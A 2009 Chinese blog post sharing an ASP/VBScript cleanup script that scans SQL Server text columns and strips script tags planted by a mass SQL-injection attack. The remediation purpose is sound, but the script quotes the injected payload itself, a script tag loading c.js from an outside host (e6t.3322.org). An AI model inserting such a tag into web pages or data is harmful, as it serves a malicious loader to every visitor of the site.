ITPub博客

首页 > Linux操作系统 > Linux操作系统 > 恢复 SQL 被注入后的数据代码

恢复 SQL 被注入后的数据代码

原创 Linux操作系统 作者:iSQlServer 时间:2009-02-04 16:00:06 0 删除 编辑
  1. <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>  
  2. <!--#include file="Inc/conn.asp"-->  
  3. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">  
  4. <%   
  5. server.ScriptTimeout = 1000000  
  6.   
  7. 'xtype=99 ntext  与text类型相似,不同的是,ntext类型采用unicode标准字符集。    
  8. 'xtype=35 text  用于存储大量文本数据。    
  9. 'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。    
  10. 'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据    
  11.   
  12. str = "'<mce:script src="http://e6t.3322.org/c.js" mce_src="http://e6t.3322.org/c.js">mce:script>'" '加在文本类型字段后的木马代码   
  13. sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"  
  14. set rs = conn.execute(sql)   
  15. while Not rs.eof   
  16.     t_name = rs("t_name") '表名   
  17.     c_name = rs("c_name") '字段名   
  18.     xtype = rs("xtype")   '字段类型   
  19.   
  20.     If (xtype = 99 Or xtype = 35) then   
  21.     conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")   
  22.     Else    
  23.         conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")   
  24.     End If    
  25.        
  26.     rs.movenext   
  27. wend   
  28.   
  29. response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!")   
  30. %>  
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <!--#include file="Inc/conn.asp"--> <% server.ScriptTimeout = 1000000 'xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。 'xtype=35 text 用于存储大量文本数据。 'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。 'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据 str = "''" '加在文本类型字段后的木马代码 sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)" set rs = conn.execute(sql) while Not rs.eof t_name = rs("t_name") '表名 c_name = rs("c_name") '字段名 xtype = rs("xtype") '字段类型 If (xtype = 99 Or xtype = 35) then conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')") Else conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')") End If rs.movenext wend response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!") %>

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/16436858/viewspace-545241/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2008-10-17

  • 博文量
    1319
  • 访问量
    2101785